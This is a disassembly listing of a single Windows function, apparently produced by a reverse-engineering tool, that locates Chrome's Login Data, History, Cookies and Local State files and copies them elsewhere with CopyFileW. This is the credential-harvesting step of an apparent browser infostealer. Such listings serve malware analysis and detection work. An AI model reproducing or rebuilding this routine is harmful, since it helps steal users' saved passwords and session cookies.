Function at 0x140007e20
Capabilities:
Check if file exists
Copy file

Disassembly:
mov qword [rsp + 0x18], rbx
push rbp
push rsi
push rdi
push r12
push r13
push r14
push r15
lea rbp, [rsp - 0x230]
sub rsp, 0x330
movaps xmmword [rsp + 0x320], xmm6
mov rax, qword [0x14008e7c0]
xor rax, rsp
mov qword [rbp + 0x218], rax
mov rsi, rdx
mov rbx, rcx
xor r15d, r15d
lea r8, str.AppDataLocalGoogleChromeUser_DataDefaultLogin_Data
mov rdx, rcx
lea rcx, [rbp + 0x1f8]
call fcn.14000a930
nop
lea r8, str.AppDataLocalGoogleChromeUser_DataDefaultHistory
mov rdx, rbx
lea rcx, [rbp + 0x1d8]
call fcn.14000a930
nop
lea r8, str.AppDataLocalGoogleChromeUser_DataDefaultNetworkCookies
mov rdx, rbx
lea rcx, [rbp + 0x1b8]
call fcn.14000a930
nop
lea r8, str.AppDataLocalGoogleChromeUser_DataLocal_State
mov rdx, rbx
lea rcx, [rbp + 0x198]
call fcn.14000a930
nop
cmp qword [rbx + 0x18], 7
jbe 0x140007ec7
mov rbx, qword [rbx]
mov rcx, rbx
call qword [sym.imp.SHLWAPI.dll_PathFindFileNameW]
xorps xmm0, xmm0
movups xmmword [rbp + 0x158], xmm0
mov qword [rbp + 0x168], r15
mov qword [rbp + 0x170], r15
mov r8, 0xffffffffffffffff
nop
inc r8
cmp word [rax + r8*2], 0
jne 0x140007ef0
mov rdx, rax
lea rcx, [rbp + 0x158]
call fcn.14000b1b0
nop
lea rcx, [rsp + 0x78]
call fcn.1400073a0
nop
mov r8, rax
lea rcx, [rsp + 0x58]
call fcn.14000aab0
mov rcx, rax
mov rdx, qword [rax + 0x10]
mov r9, qword [rax + 0x18]
mov rax, r9
sub rax, rdx
mov ebx, 0x5f
cmp rax, 1
jb 0x140007f5e
lea r8, [rdx + 1]
mov qword [rcx + 0x10], r8
mov rax, rcx
cmp r9, 7
jbe 0x140007f53
mov rax, qword [rcx]
mov word [rax + rdx*2], bx
mov word [rax + r8*2], r15w
jmp 0x140007f7b
mov qword [rsp + 0x20], 1
lea r9, [0x1400835f8]
mov edx, 1
call fcn.14000aff0
mov rcx, rax
xorps xmm0, xmm0
movups xmmword [rsp + 0x30], xmm0
xorps xmm1, xmm1
movdqu xmmword [rsp + 0x40], xmm1
movups xmm0, xmmword [rcx]
movups xmmword [rsp + 0x30], xmm0
movups xmm1, xmmword [rcx + 0x10]
movups xmmword [rsp + 0x40], xmm1
mov qword [rcx + 0x10], r15
mov qword [rcx + 0x18], 7
mov word [rcx], r15w
lea r9, [rbp + 0x158]
mov r12, qword [rbp + 0x158]
mov r13, qword [rbp + 0x170]
cmp r13, 7
cmova r9, r12
mov r14, qword [rsp + 0x40]
mov rcx, qword [rsp + 0x48]
mov rax, rcx
sub rax, r14
mov rdi, qword [rbp + 0x168]
cmp rdi, rax
ja 0x14000801e
lea rax, [rdi + r14]
mov qword [rsp + 0x40], rax
lea rbx, [rsp + 0x30]
cmp rcx, 7
cmova rbx, qword [rsp + 0x30]
lea rcx, [rbx + r14*2]
lea r8, [rdi + rdi]
mov rdx, r9
call sub.VCRUNTIME140.dll_memmove
lea rax, [r14 + rdi]
mov word [rbx + rax*2], r15w
lea rax, [rsp + 0x30]
jmp 0x14000803e
mov qword [rsp + 0x20], rdi
mov rdx, rdi
lea rcx, [rsp + 0x30]
call fcn.14000aff0
mov r13, qword [rbp + 0x170]
mov r12, qword [rbp + 0x158]
xorps xmm0, xmm0
movups xmmword [rbp + 0x120], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp + 0x130], xmm1
movups xmm0, xmmword [rax]
movups xmmword [rbp + 0x120], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rbp + 0x130], xmm1
mov qword [rax + 0x10], r15
mov qword [rax + 0x18], 7
mov word [rax], r15w
mov rcx, qword [rbp + 0x130]
mov rdx, qword [rbp + 0x138]
mov rax, rdx
sub rax, rcx
cmp rax, 1
jb 0x1400080c0
lea rax, [rcx + 1]
mov qword [rbp + 0x130], rax
lea rax, [rbp + 0x120]
cmp rdx, 7
cmova rax, qword [rbp + 0x120]
mov dword [rax + rcx*2], 0x5f
lea rax, [rbp + 0x120]
jmp 0x1400080e1
mov qword [rsp + 0x20], 1
lea r9, [0x1400835f8]
mov edx, 1
lea rcx, [rbp + 0x120]
call fcn.14000aff0
movups xmm0, xmmword [rax]
movups xmmword [rbp + 0x178], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rbp + 0x188], xmm1
mov qword [rax + 0x10], r15
mov qword [rax + 0x18], 7
mov word [rax], r15w
mov rdx, qword [rbp + 0x138]
cmp rdx, 7
jbe 0x14000814f
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp + 0x120]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000814a
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14000814a
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14006f55c
movdqa xmm6, xmmword [0x140083950]
movdqu xmmword [rbp + 0x130], xmm6
mov word [rbp + 0x120], r15w
mov rdx, qword [rsp + 0x48]
cmp rdx, 7
jbe 0x1400081ac
lea rdx, [rdx*2 + 2]
mov rcx, qword [rsp + 0x30]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400081a7
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x1400081a7
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14006f55c
movdqu xmmword [rsp + 0x40], xmm6
mov word [rsp + 0x30], r15w
mov rdx, qword [rsp + 0x70]
cmp rdx, 7
jbe 0x1400081fd
lea rdx, [rdx*2 + 2]
mov rcx, qword [rsp + 0x58]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400081f8
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x1400081f8
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14006f55c
movdqu xmmword [rsp + 0x68], xmm6
mov word [rsp + 0x58], r15w
mov rdx, qword [rbp - 0x70]
cmp rdx, 7
jbe 0x14000824d
lea rdx, [rdx*2 + 2]
mov rcx, qword [rsp + 0x78]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140008248
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140008248
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14006f55c
movdqu xmmword [rbp - 0x78], xmm6
mov word [rsp + 0x78], r15w
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbp + 0x140], xmm0
mov qword [rbp + 0x150], rax
lea r8, str.Login_Data
lea rdx, [rbp + 0x178]
lea rcx, [rbp - 8]
call fcn.14000a930
mov rbx, rax
lea rdx, [rbp + 0x1f8]
lea rcx, [rbp + 0x20]
call fcn.140009a60
xorps xmm0, xmm0
movups xmmword [rbp + 0x40], xmm0
xorps xmm1, xmm1
movdqa xmmword [rbp + 0x50], xmm1
movups xmm0, xmmword [rbx]
movaps xmmword [rbp + 0x40], xmm0
movups xmm1, xmmword [rbx + 0x10]
movaps xmmword [rbp + 0x50], xmm1
mov qword [rbx + 0x10], r15
mov qword [rbx + 0x18], 7
mov word [rbx], r15w
lea r8, str.History
lea rdx, [rbp + 0x178]
lea rcx, [rbp - 0x28]
call fcn.14000a930
mov rbx, rax
lea rdx, [rbp + 0x1d8]
lea rcx, [rbp + 0x60]
call fcn.140009a60
xorps xmm0, xmm0
movups xmmword [rbp + 0x80], xmm0
xorps xmm1, xmm1
movdqa xmmword [rbp + 0x90], xmm1
movups xmm0, xmmword [rbx]
movaps xmmword [rbp + 0x80], xmm0
movups xmm1, xmmword [rbx + 0x10]
movaps xmmword [rbp + 0x90], xmm1
mov qword [rbx + 0x10], r15
mov qword [rbx + 0x18], 7
mov word [rbx], r15w
lea r8, str.Cookies
lea rdx, [rbp + 0x178]
lea rcx, [rbp - 0x48]
call fcn.14000a930
mov rbx, rax
lea rdx, [rbp + 0x1b8]
lea rcx, [rbp + 0xa0]
call fcn.140009a60
xorps xmm0, xmm0
movups xmmword [rbp + 0xc0], xmm0
xorps xmm1, xmm1
movdqa xmmword [rbp + 0xd0], xmm1
movups xmm0, xmmword [rbx]
movaps xmmword [rbp + 0xc0], xmm0
movups xmm1, xmmword [rbx + 0x10]
movaps xmmword [rbp + 0xd0], xmm1
mov qword [rbx + 0x10], r15
mov qword [rbx + 0x18], 7
mov word [rbx], r15w
lea r8, str.Local_State
lea rdx, [rbp + 0x178]
lea rcx, [rbp - 0x68]
call fcn.14000a930
mov rbx, rax
lea rdx, [rbp + 0x198]
lea rcx, [rbp + 0xe0]
call fcn.140009a60
xorps xmm0, xmm0
movups xmmword [rbp + 0x100], xmm0
xorps xmm1, xmm1
movdqa xmmword [rbp + 0x110], xmm1
movups xmm0, xmmword [rbx]
movaps xmmword [rbp + 0x100], xmm0
movups xmm1, xmmword [rbx + 0x10]
movaps xmmword [rbp + 0x110], xmm1
mov qword [rbx + 0x10], r15
mov qword [rbx + 0x18], 7
mov word [rbx], r15w
xorps xmm0, xmm0
movdqu xmmword [rbp + 0x140], xmm0
mov qword [rbp + 0x150], r15
mov ecx, 0x100
call fcn.14006f210
mov rbx, rax
mov qword [rbp + 0x140], rax
mov qword [rbp + 0x148], rax
lea rcx, [rax + 0x100]
mov qword [rbp + 0x150], rcx
lea rax, [rbp + 0x140]
mov qword [rsp + 0x50], rax
lea rdi, [rbp + 0x20]
xorps xmm0, xmm0
movups xmmword [rbp + 0x120], xmm0
mov qword [rbp + 0x120], rbx
mov qword [rbp + 0x128], rbx
lea rax, [rbp + 0x140]
mov qword [rbp + 0x130], rax
nop word [rax + rax]
mov qword [rbp + 0x18], rbx
mov rdx, rdi
mov rcx, rbx
call fcn.140009a60
nop
lea rcx, [rbx + 0x20]
lea rdx, [rdi + 0x20]
call fcn.140009a60
nop
add rbx, 0x40
mov qword [rbp + 0x128], rbx
add rdi, 0x40
lea rax, [rbp + 0x120]
cmp rdi, rax
jne 0x140008470
mov qword [rbp + 0x148], rbx
lea r9, [fcn.1400089b0]
mov edx, 0x40
mov r8d, 4
lea rcx, [rbp + 0x20]
call fcn.14006f24c
nop
mov rdx, qword [rbp - 0x50]
cmp rdx, 7
jbe 0x14000850f
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp - 0x68]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000850a
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14000850a
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14006f55c
movdqu xmmword [rbp - 0x58], xmm6
mov word [rbp - 0x68], r15w
mov rdx, qword [rbp - 0x30]
cmp rdx, 7
jbe 0x14000855c
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp - 0x48]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140008557
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140008557
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14006f55c
movdqu xmmword [rbp - 0x38], xmm6
mov word [rbp - 0x48], r15w
mov rdx, qword [rbp - 0x10]
cmp rdx, 7
jbe 0x1400085a9
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp - 0x28]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400085a4
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x1400085a4
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14006f55c
movdqu xmmword [rbp - 0x18], xmm6
mov word [rbp - 0x28], r15w
mov rdx, qword [rbp + 0x10]
cmp rdx, 7
jbe 0x1400085f6
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp - 8]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400085f1
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x1400085f1
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14006f55c
movdqu xmmword [rbp + 8], xmm6
mov word [rbp - 8], r15w
mov r15, qword [rbp + 0x148]
mov rbx, qword [rbp + 0x140]
cmp rbx, r15
je 0x1400087b9
add rbx, 0x20
nop dword [rax + rax]
mov rdx, rbx
cmp qword [rbx + 0x18], 7
jbe 0x14000862d
mov rdx, qword [rbx]
lea rdi, [rbx - 0x20]
mov rcx, rdi
cmp qword [rbx - 8], 7
jbe 0x14000863e
mov rcx, qword [rdi]
xor r8d, r8d
call qword [sym.imp.KERNEL32.dll_CopyFileW]
test eax, eax
je 0x1400086e5
lea rdx, str.Copied:
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t___std::wcout]
call fcn.14000a4a0
cmp qword [rbx - 8], 7
jbe 0x14000866c
mov rdi, qword [rdi]
mov r8, qword [rbx - 0x10]
mov rdx, rdi
mov rcx, rax
call fcn.14000bbc0
lea rdx, str._to
mov rcx, rax
call fcn.14000a4a0
mov rdx, rbx
cmp qword [rbx + 0x18], 7
jbe 0x140008697
mov rdx, qword [rbx]
mov r8, qword [rbx + 0x10]
mov rcx, rax
call fcn.14000bbc0
lea rdx, [0x14000a8f0]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64___cdecl_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t__::operator___class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64____cdecl___class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64_____ptr64]
mov rax, qword [rsi + 8]
cmp rax, qword [rsi + 0x10]
je 0x1400086d2
mov rdx, rbx
mov rcx, rax
call fcn.140009a60
add qword [rsi + 8], 0x20
jmp 0x1400087a8
mov r8, rbx
mov rdx, rax
mov rcx, rsi
call fcn.14000c200
jmp 0x1400087a8
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov r14d, eax
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t___std::wcout]
cmp eax, 2
jne 0x140008721
lea rdx, str.File_not_found:
call fcn.14000a4a0
cmp qword [rbx - 8], 7
jbe 0x140008710
mov rdi, qword [rdi]
mov r8, qword [rbx - 0x10]
mov rdx, rdi
mov rcx, rax
call fcn.14000bbc0
jmp 0x140008798
lea rdx, str.Failed_to_copy:
call fcn.14000a4a0
cmp qword [rbx - 8], 7
jbe 0x140008737
mov rdi, qword [rdi]
mov r8, qword [rbx - 0x10]
mov rdx, rdi
mov rcx, rax
call fcn.14000bbc0
lea rdx, str._to
mov rcx, rax
call fcn.14000a4a0
mov rdx, rbx
cmp qword [rbx + 0x18], 7
jbe 0x140008762
mov rdx, qword [rbx]
mov r8, qword [rbx + 0x10]
mov rcx, rax
call fcn.14000bbc0
lea rdx, [0x1400836c8]
mov rcx, rax
call fcn.14000a4a0
mov edx, r14d
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64___cdecl_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t__::operator___unsigned_long_int____ptr64]
mov rcx, rax
lea rdx, [0x1400836c4]
call fcn.14000a4a0
lea rdx, [0x14000a8f0]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64___cdecl_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t__::operator___class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64____cdecl___class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64_____ptr64]
add rbx, 0x40
lea rax, [rbx - 0x20]
cmp rax, r15
jne 0x140008620
lea rcx, [rbp + 0x140]
call fcn.140009960
nop
mov rdx, qword [rbp + 0x190]
cmp rdx, 7
jbe 0x140008810
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp + 0x178]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000880a
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14000880a
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14006f55c
nop
cmp r13, 7
jbe 0x140008850
lea rdx, [r13*2 + 2]
mov rax, r12
cmp rdx, 0x1000
jb 0x140008847
add rdx, 0x27
mov r12, qword [r12 - 8]
sub rax, r12
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140008847
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
mov rcx, r12
call fcn.14006f55c
nop
mov rdx, qword [rbp + 0x1b0]
cmp rdx, 7
jbe 0x14000889a
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp + 0x198]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140008894
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140008894
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14006f55c
nop
mov rdx, qword [rbp + 0x1d0]
cmp rdx, 7
jbe 0x1400088e4
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp + 0x1b8]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400088de
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x1400088de
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14006f55c
nop
mov rdx, qword [rbp + 0x1f0]
cmp rdx, 7
jbe 0x14000892e
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp + 0x1d8]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140008928
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140008928
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14006f55c
nop
mov rdx, qword [rbp + 0x210]
cmp rdx, 7
jbe 0x140008977
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp + 0x1f8]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140008972
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140008972
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14006f55c
mov rcx, qword [rbp + 0x218]
xor rcx, rsp
call fcn.14006ef50
mov rbx, qword [rsp + 0x380]
movaps xmm6, xmmword [rsp + 0x320]
add rsp, 0x330
pop r15
pop r14
pop r13
pop r12
pop rdi
pop rsi
pop rbp
ret